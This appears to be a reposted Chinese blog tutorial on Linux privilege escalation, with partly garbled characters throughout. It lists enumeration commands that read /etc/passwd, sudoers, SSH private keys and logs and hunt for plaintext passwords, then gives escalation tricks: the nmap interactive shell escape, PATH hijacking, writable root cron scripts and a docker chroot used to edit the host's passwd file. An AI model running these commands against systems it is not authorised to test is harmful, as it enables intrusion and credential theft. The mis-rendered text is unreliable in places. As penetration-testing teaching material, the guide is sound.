关于安全:linux提权小结

1次阅读

共计 6408 个字符,预计需要花费 17 分钟才能阅读完成。

参考链接:https://xz.aliyun.com/t/7924
浸透的实质是信息收集,提权第一步也是要尽可能的收集信息。大略思路是通过信息收集查找可利用的文件 / 脚本 / 软件 / 用户 / 内核破绽 / 歹意劫持 / 特定平台破绽 / 框架破绽 / 组件 / 等,写入或执行歹意命令 / 脚本 /shell/ 增加高权限用户,提权胜利,而后进一步利用。
在指标机器上,须要收集的惯例信息如下:

内核,操作系统,设施信息

uname -a 打印所有可用的零碎信息
uname -r 内核版本
uname -n 零碎主机名。
uname -m 查看零碎内核架构(64 位 /32 位)
hostname 零碎主机名
cat /proc/version 内核信息
cat /etc/*-release 散发信息
cat /etc/issue 散发信息
cat /proc/cpuinfo CPU 信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

用户和群组

cat /etc/passwd 列出零碎上的所有用户
cat /var/mail/root
cat /var/spool/mail/root
cat /etc/group 列出零碎上的所有组
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 {print $1}’ 列出所有的超级用户账户
whoami 查看以后用户
w 谁目前已登录,他们正在做什么
last 最初登录用户的列表
lastlog 所有用户上次登录的信息
lastlog –u %username% 无关指定用户上次登录的信息
lastlog |grep -v “Never” 以前登录用户的完

用户权限信息

whoami 以后用户名
id 以后用户信息
cat /etc/sudoers 谁被容许以 root 身份执行
sudo -l 以后用户能够以 root 身份执行操作

环境信息

env 显示环境变量
set 事实环境变量
echo %PATH 门路信息
history 显示以后用户的历史命令记录
pwd 输入工作目录
cat /etc/profile 显示默认零碎变量
cat /etc/shells 显示可用的 shellrc
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout

过程和服务

ps aux
ps -ef
top
cat /etc/services

查看以 root 运行的过程

ps aux | grep root
ps -ef | grep root

查看装置的软件

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l

服务 / 插件

查看有没有不平安的服务配置,和一些有破绽的插件。

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk ‘$1 ~ /^.r./

打算工作

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

有无明文寄存用户明码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 “password” [filename]
find , -name “*.php” -print0 | xargs -0 grep -i -n “var $password”

有无 ssh 私钥

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

查看与以后机器通信的其余用户或者主机

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig –list
chkconfig –list | grep 3:on
last
w

日志文件

cat /var/log/boot.log
cat /var/log/cron
cat /var/log/syslog
cat /var/log/wtmp
cat /var/run/utmp
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

交互式 shell

python -c ‘import pty;pty.spawn(“/bin/bash”)’
echo os.system(‘/bin/bash’)
/bin/sh -i

可提权 SUID && GUID

参考资料 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

find / -perm -1000 -type d 2>/dev/null # Sticky bit – Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) – run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) – run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID
for i in locate -r "bin$"; do find $i (-perm -4000 -o -perm -2000) -type f 2>/dev/null; done # Looks in ‘common’ places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} ; 2>/dev/null

查看可写 / 执行目录

find / -writable -type d 2>/dev/null # world-writeable folders
find / -perm -222 -type d 2>/dev/null # world-writeable folders
find / -perm -o w -type d 2>/dev/null # world-writeable folders

find / -perm -o x -type d 2>/dev/null # world-executable folders

find / (-perm -o w -perm -o x) -type d 2>/dev/null # world-writeable & executable folders

查看装置过的工具

find / -name perl*
find / -name python*
find / -name gcc*

有了以上收集到的信息做根底,才不便施行具体的提权伎俩。

内核提权破绽

如果指标机器的版本过低,内核破绽提权是最容易想到的办法。因为 kali 内置了 exploit-db 破绽库的本地正本,能够应用 searchsploit 命令来疾速检索内核版本响应破绽。

顺带一提最经典的脏牛破绽,CVE-2016-5195。
内核破绽利用过程有一些坑点,最显著的就是环境问题,因为不晓得指标机器上的环境缺啥少啥,很多时候在本地编译运行无比丝滑,然而在指标机器上总会呈现莫名其妙的谬误。而且很多 exp 都不是很稳固,提权时候一不小心就会使得指标机器崩掉,因而最好将内核提权作为最初的底牌来应用。

suid 提权

suid 全称是 Set owner User ID up on execution。这是 Linux 给可执行文件的一个属性。艰深的了解为其余用户执行这个程序的时候能够用该程序所有者 / 组的权限。须要留神的是,只有程序的所有者是 0 号或其余 super user,同时领有 suid 权限,才能够提权。

以下命令能够找到正在零碎上运行的所有 SUID 可执行文件。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;


比方 nmap 旧版本有一个性能,用户能够在交互模式下运行 nmap,并逃逸到 shell。如果 nmap 设置了 SUID 位,它将以 root 权限运行,咱们能够通过它的交互模式拜访“root”shell。

$ nmap –interactive - 运行 nmap 交互模式
$ !sh - 容许从 nmap shell 逃逸到零碎 shell

环境变量提权

$PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定了存储所有可执行程序的 bin 和 sbin 目录。当用户在终端运行任何命令时,它向 shell 发出请求,在环境变量的帮忙下搜寻可执行文件以响应用户执行的命令。超级用户通常还具备 /sbin 和 /usr /sbin 条目,以便轻松执行系统管理命令。
应用 echo 命令就能轻易的查看和以后用户相干的环境变量。

须要留神环境变量中是否蕴含 ”.”, 如果有的话则意味着优先从当前目录执行二进制文件 / 脚本。举个例子,比方咱们都晓得 ls 命令是列出所在目录文件的命令,但当咱们在环境变量中增加 ”.” 后,且当前目录下存在一个可执行的 ls 文件时,咱们在命令行中敲 ls 命令失去的后果就变了。
新建一个 ls 文件

在环境变量中增加 ”.”

在当前目录敲 ls 命令

可见敲 ls 命令执行的其实是 ”./ls” 这条命令,即执行当前目录下名为 ls 的可执行文件。
据此能够和具备 suid 权限的文件联合利用,如 suid 的文件调用某系统命令,能够通过批改环境变量劫持此条命令,并结构歹意文件使程序执行咱们想要的后果,可参考链接:https://xz.aliyun.com/t/2767

打算工作提权

零碎内可能会有一些定时执行的工作,个别这些工作由 crontab 来治理,具备所属用户的权限。非 root 权限的用户是不能够列出 root 用户的打算工作的。然而 /etc/ 内零碎的打算工作能够被列出。

ls -l /etc/cron*


默认这些程序以 root 权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,咱们就能够批改脚本等回连 rootshell 了。

利用第三方服务

有一些服务器的服务会被配置成对内网或者对本机凋谢。通过对他们的攻打咱们有机会接触更多的敏感文件,或是运气足够好碰上一个近程 root 破绽。

netstat -antup# 查看各种网络服务

如果多用户借助 docker 共用一台机器的状况下,并且以后用户具备 docker 组的权限,能够间接运行一个镜像取得镜像外面的 root 权限,去批改镜像外的 /etc/passwd 来提权。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh
cat /etc/passwd

docker 外部的 /etc/passwd 和内部的 /etc/passwd 一样,所以,能够间接往里面增加个用户。实现提权。

其余第三方软件及服务提权可参考链接:https://atsud0.me/2020/04/14/…
除了以上这些,在理论利用中还有很多,比方间接 sudo,或者从 shadow 文件中拿到 hash 破解,或者各种猜 root 明码。总之要梳理体系,深刻实质,灵活运用。

正文完
 0